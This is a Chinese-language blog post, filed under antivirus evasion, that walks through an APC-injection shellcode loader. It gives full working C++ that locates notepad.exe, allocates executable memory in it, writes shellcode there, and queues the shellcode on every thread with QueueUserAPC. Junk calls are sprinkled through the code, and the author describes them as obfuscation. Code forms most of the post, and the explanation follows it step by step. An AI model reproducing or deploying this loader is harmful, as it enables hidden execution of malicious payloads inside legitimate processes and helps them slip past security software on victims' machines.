apc_load

预备知识

  1. 线程是不能被“杀掉”、“挂起”、“恢复”的,线程在执行的时候自己占据着CPU,别人不能控制它
  2. 举个极端的例子:如果不调用API屏蔽中断并保证代码不出现异常,线程将永久占用CPU
  3. 所以说线程如果想“死”,一定是自己执行代码把自己杀死,不存在“他杀”的情况

那么将会产生一个问题

如果想改变一个线程的行为该怎么做呢?

既然只能让他自己杀死自己,那我们就递出那一把刀。

让他主动调用一个方法,然后KILL 自己

apc 是什么?

可以根据他的英语名字来看

Asyncroneus Procedure Call

异步过程调用

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void function1(const unsigned char *shellcode, const size_t &shellcodeLength) {

std::cout << "function1 first" << std::endl;
MasterEncoderForApcLoadder::generateAndSortArray();
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);

MasterEncoderForApcLoadder::generateAndSortArray();
PROCESSENTRY32 processEntry = {sizeof(PROCESSENTRY32)};

std::string name="notepad.exe";

if (Process32First(snapshot, &processEntry)) {
MasterEncoderForApcLoadder::generateAndSortArray();
while (!MasterEncoderForApcLoadder::stringCmp(processEntry.szExeFile, name)) {
MasterEncoderForApcLoadder::generateAndSortArray();
Process32Next(snapshot, &processEntry);
}
}

MasterEncoderForApcLoadder::generateAndSortArray();
HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);

MasterEncoderForApcLoadder::generateAndSortArray();
LPVOID shellAddress = VirtualAllocEx(victimProcess, nullptr, shellcodeLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

MasterEncoderForApcLoadder::generateAndSortArray();
auto apcRoutine = (PTHREAD_START_ROUTINE) shellAddress;

MasterEncoderForApcLoadder::generateAndSortArray();
WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeLength, nullptr);

MasterEncoderForApcLoadder::generateAndSortArray();
THREADENTRY32 threadEntry = {sizeof(THREADENTRY32)};
std::vector<DWORD> threadIds{};

if (Thread32First(snapshot, &threadEntry)) {
do {
MasterEncoderForApcLoadder::generateAndSortArray();
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
MasterEncoderForApcLoadder::generateAndSortArray();
threadIds.emplace_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}

for (DWORD threadId: threadIds) {
MasterEncoderForApcLoadder::generateAndSortArray();
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
MasterEncoderForApcLoadder::generateAndSortArray();
QueueUserAPC((PAPCFUNC) apcRoutine, threadHandle, NULL);
MasterEncoderForApcLoadder::generateAndSortArray();
Sleep(1000 * 2);
}
std::cout << "function1 end" << std::endl;
}

其中generateAndSortArray是混淆代码

从关键函数出发

1
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);

CreateToolhelp32Snapshot 函数 (tlhelp32.h) - Win32 apps | Microsoft Learn

获取指定进程以及这些进程使用的堆、模块和线程的快照。

相当于对现在操作系统的状态打了一个快照,然后方便我们从其中读取现在的进程

1
PROCESSENTRY32 processEntry = {sizeof(PROCESSENTRY32)};
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct tagPROCESSENTRY32
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process's parent process
LONG pcPriClassBase; // Base priority of process's threads
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // Path
} PROCESSENTRY32;

PROCESSENTRY32 是一个结构体,可以理解为这个是一个进程

计算这个结构提的大小是因为

在 Windows API 中,很多结构体需要先手动初始化 dwSize 成员,以告知 API 该结构体的版本和大小,从而确保在不同版本的操作系统中兼容。将它作为参数传递,确保在调用相关函数时(如 Process32FirstProcess32Next)结构体的大小是正确的

然后就可以看到

1
2
3
4
5
6
7
8
 	std::string name="notepad.exe"
if (Process32First(snapshot, &processEntry)) {
MasterEncoderForApcLoadder::generateAndSortArray();
while (!MasterEncoderForApcLoadder::stringCmp(processEntry.szExeFile, name)) {
MasterEncoderForApcLoadder::generateAndSortArray();
Process32Next(snapshot, &processEntry);
}
}

Thread32First:

Thread32First 函数 (tlhelp32.h) - Win32 apps | Microsoft Learn

检索有关系统快照中遇到的任何进程的第一个线程的信息。

这段可以理解为检索,是否存在目标进程

1
2
MasterEncoderForApcLoadder::generateAndSortArray();
HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);

如果发现了,就直接打开这个进程

1
2
3
MasterEncoderForApcLoadder::generateAndSortArray();
LPVOID shellAddress = VirtualAllocEx(victimProcess, nullptr, byteLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

VirtualAllocEx:

保留、提交或更改指定进程的虚拟地址空间中内存区域的状态。 该函数初始化它分配给零的内存。

对于免杀中,这一步就相当于分配内存了,准备插入进去

1
2
3
4
5
6
MasterEncoderForApcLoadder::generateAndSortArray();
auto apcRoutine = (PTHREAD_START_ROUTINE) shellAddress;

MasterEncoderForApcLoadder::generateAndSortArray();
WriteProcessMemory(victimProcess, shellAddress, decryptedData, byteLength, nullptr);

WriteProcessMemory:

WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

将数据写入到指定进程中的内存区域。 要写入的整个区域必须可访问,否则操作将失败。

这一段就是直接插入的过程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 MasterEncoderForApcLoadder::generateAndSortArray();
THREADENTRY32 threadEntry = {sizeof(THREADENTRY32)};
std::vector<DWORD> threadIds{};

// std::cout<<"processEntry.th32ProcessID = "<<processEntry.th32ProcessID<<std::endl;
if (Thread32First(snapshot, &threadEntry)) {
do {
// std::cout<<"threadEntry.th32OwnerProcessID = "<<threadEntry.th32OwnerProcessID<<std::endl;
MasterEncoderForApcLoadder::generateAndSortArray();
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
MasterEncoderForApcLoadder::generateAndSortArray();
threadIds.emplace_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}

这一段,用于查找镜像中,属于我们指定的那个进程的所有的线程

1
2
3
4
5
6
7
8
9
  for (DWORD threadId: threadIds) {
MasterEncoderForApcLoadder::generateAndSortArray();
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
MasterEncoderForApcLoadder::generateAndSortArray();
// std::cout << "QueueUserAPC " << threadId<< std::endl;
QueueUserAPC((PAPCFUNC) apcRoutine, threadHandle, NULL);
MasterEncoderForApcLoadder::generateAndSortArray();
Sleep(1000 * 2);
}

QueueUserAPC:

QueueUserAPC 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

将用户模式 异步过程调用 (APC) 对象添加到指定线程的 APC 队列。

注意这一段中sleep 是必不可少的,因为sleep 函数可以触发apc

然后就等待执行就行了


apc_load
https://tsy244.github.io/2024/10/03/免杀/apc-load/
Author
August Rosenberg
Posted on
October 3, 2024
Licensed under